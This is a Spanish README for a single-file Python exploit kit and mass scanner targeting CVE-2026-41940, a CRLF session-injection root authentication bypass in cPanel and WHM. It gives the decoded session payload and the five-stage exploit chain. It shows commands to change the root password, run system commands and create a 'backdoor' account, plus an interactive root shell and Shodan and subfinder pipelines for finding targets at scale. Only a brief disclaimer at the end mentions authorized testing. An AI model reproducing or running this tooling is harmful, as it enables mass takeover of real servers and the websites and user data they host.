
Escáner automatizado y toolkit de post-explotación para CVE-2026-41940 — omisión de autenticación de root en cPanel y WHM mediante inyección CRLF en el archivo de sesión.
Inglés | فارسی (Persa)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Escáner automatizado y kit de post-explotación para CVE-2026-41940 — omisión de la autenticación root de cPanel y WHM mediante inyección CRLF en el archivo de sesión.
CPANEL CVE EXPLOIT es una herramienta Python de un solo archivo diseñada para evaluaciones de seguridad autorizadas de servidores cPanel y WHM vulnerables a CVE-2026-41940.
La vulnerabilidad permite a un atacante remoto no autenticado envenenar los archivos de sesión de WHM mediante inyección CRLF en la cabecera Authorization: Basic, omitiendo la autenticación y obteniendo acceso root a WHM sin credenciales válidas.
| Propiedad | Valor |
|---|---|
| CVE | CVE-2026-41940 |
| Severidad | Crítica |
| CVSS | 10.0 |
| Vector de ataque | Red / No autenticado |
| Impacto | Acceso root completo a WHM |
| Puerto predeterminado | 2087 (WHM) |
| Estado | Explotación in-the-wild confirmada (abril de 2026) |
En versiones vulnerables de cPanel y WHM, saveSession() en Session.pm llama a filter_sessiondata() después de escribir el archivo de sesión en disco. Un atacante puede inyectar caracteres CRLF (\r\n) a través de la cabecera HTTP Authorization: Basic, que se escriben directamente en el archivo de sesión en disco, omitiendo la sanitización.
La herramienta utiliza un payload codificado en Base64 que se decodifica a:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Estos campos simulan una sesión root de WHM completamente autenticada, incluida la omisión de 2FA (tfa_verified=1) y el indicador de privilegios root (hasroot=1).
cPanel movió filter_sessiondata() para que se ejecute antes de la operación de escritura de la sesión en Session.pm.
La cadena de explotación consta de 5 etapas (etapas 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]| Etapa | Endpoint | Propósito |
|---|---|---|
| 0 | /openid_connect/cpanelid | Descubrir automáticamente el hostname canónico mediante redirección 307 |
| 1 | /login/?login_only=1 | Obtener la cookie whostmgrsession de preautenticación con credenciales incorrectas |
| 2 | / | Inyectar la cabecera Authorization: Basic envenenada con CRLF en el archivo de sesión |
| 3 | /scripts2/listaccts | Activar el gadget do_token_denied para volcar la sesión a la caché |
| 4 | /{token}/json-api/version | Confirmar el acceso root — HTTP 200 con el JSON de versión |
| Característica | Descripción |
|---|---|
| Escaneo de un solo objetivo | Cadena de explotación completa contra una URL de WHM |
| Escaneo masivo | Escaneo multihilo desde archivo o stdin |
| Detección de versión | Comparación automática de versiones parcheadas/vulnerables |
| API de post-explotación | Cambio de contraseña, ejecución de comandos, listado de cuentas, creación de usuarios |
| Shell interactivo | Shell root de WHM integrado con lectura de archivos y comandos API |
| Inicio de sesión con Selenium | Inyección automática de la cookie de sesión en Chrome/Firefox |
| Alternativa con navegador manual | Fragmentos de JavaScript para consola para el inicio de sesión manual en WHM |
| Comprobación de RCE | Verificación rápida de id / uname -a tras la omisión |
| Exportación JSON | Guarda todos los hallazgos en un informe JSON estructurado |
| Listo para pipelines | Funciona con pipelines de httpx, subfinder, shodan y awk |
| Solo stdlib | Sin dependencias pip para la funcionalidad principal |
| Salida con colores | Registro de etapas en tiempo real con indicadores de gravedad |
| Rama | Parcheado en | Estado |
|---|---|---|
| 11.110.x | 11.110.0.97 | Vulnerable por debajo del parche |
| 11.118.x | 11.118.0.63 | Vulnerable por debajo del parche |
| 11.126.x | 11.126.0.54 | Vulnerable por debajo del parche |
| 11.132.x | 11.132.0.29 | Vulnerable por debajo del parche |
| 11.134.x | 11.134.0.20 | Vulnerable por debajo del parche |
| 11.136.x | 11.136.0.5 | Vulnerable por debajo del parche |
Nota: Los objetivos que ejecutan compilaciones parcheadas se marcan automáticamente y se omiten durante el escaneo.
| Paquete | Propósito |
|---|---|
selenium | Inicio de sesión automático en el navegador (--selenium) |
| Chrome / Firefox | Motor de navegador para Selenium |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
No se requiere paso de compilación. Ejecútalo directamente:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list
# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| Flag | Descripción |
|---|---|
-u, --url | URL de un solo objetivo (p. ej. https://host:2087) |
-l, --list | Archivo que contiene URLs, una por línea |
--hostname | Sobrescribir la cabecera Host canónica (se descubre automáticamente por defecto) |
| Flag | Predeterminado | Descripción |
|---|---|---|
-t, --threads | 10 | Número de hilos de escaneo concurrentes |
--timeout | 15 | Tiempo de espera HTTP en segundos |
--rate-limit | 0 | Retraso (segundos) entre envíos de objetivos |
| Flag | Descripción |
|---|---|
-o, --output | Guarda los hallazgos en un archivo JSON |
--no-color | Desactiva la salida con colores ANSI |
Las opciones de post-explotación solo funcionan con objetivos individuales (
-u, no en escaneo masivo).
| Acción | Flag | Descripción |
|---|---|---|
| Solo escaneo | (predeterminado) | Ejecuta la cadena de explotación e informa de la vulnerabilidad |
| Listar cuentas | --action list | Lista todas las cuentas de cPanel mediante la API de WHM |
| Cambiar contraseña | --action passwd --passwd <pass> | Cambia la contraseña root de WHM |
| Ejecutar comando | --action cmd --cmd "id;whoami" | Ejecuta un comando del sistema mediante la API exec de WHM |
| Información del servidor | --action info | Recopila hostname, carga, disco y versión |
| Obtener versión | --action version | Obtiene la versión de cPanel/WHM mediante la API |
| Crear cuenta | --action adduser --new-user u --new-domain d.com --passwd p | Crea una nueva cuenta de cPanel |
| Shell interactivo | --action shell | Inicia un shell root interactivo de WHM |
| Comprobación de RCE | --check-rce | Ejecuta id;uname -a tras omitir la autenticación con éxito |
| Inicio de sesión con Selenium | --selenium [--engine chrome|firefox] | Inicia sesión automáticamente en el panel de WHM en el navegador |
| Navegador manual | --browser | Imprime comandos de consola JavaScript para el inicio de sesión manual |
# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell
# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser
Inícialo con --action shell para una sesión interactiva completa:
[email protected] ▶ help
id / whoami / hostname / version → server info
ls [path] → file listing
cat [path] → read file contents
accounts → list cPanel accounts
addadmin <user> <pass> → create WHM admin/reseller
passwd <newpass> → change root password
exec <command> → run OS command
exit / quit → exit shell
Ejemplo:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| Formato | Ejemplo |
|---|---|
| URL completa | https://192.168.1.1:2087 |
| IP + puerto | 192.168.1.1 2087 |
| Salida de Shodan | Se analiza automáticamente mediante regex |
| Salida con colores ANSI | Se elimina automáticamente |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
Los hallazgos se guardan como JSON al usar -o results.json:
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — CVE-2026-41940 Scan Complete
Time: 12.4s · Targets: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 VULNERABLE TARGET(S)
Target : https://victim1.com:2087
Version : 11.126.0.50
Token : /cpsess1234567890
API URL : https://victim1.com:2087/cpsess1234567890/json-api/version
Evidence : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : scan only
12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [ OK] Stage1: preauth session = root:abc123...
12:00:03 [ OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND] Token : /cpsess1234567890
12:00:05 [PWND] Session : root:abc123...
12:00:05 [PWND] Version : 11.126.0.50
12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # Main scanner & exploit tool (single file)
├── requirements.txt # Optional: selenium
├── README.md # English documentation
└── README.fa.md # Persian documentation (فارسی)
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.
Al usar esta herramienta, aceptas utilizarla de forma responsable y en cumplimiento de todas las leyes aplicables.
2087 (HTTPS)Creada para investigadores de seguridad · Úsala de forma responsable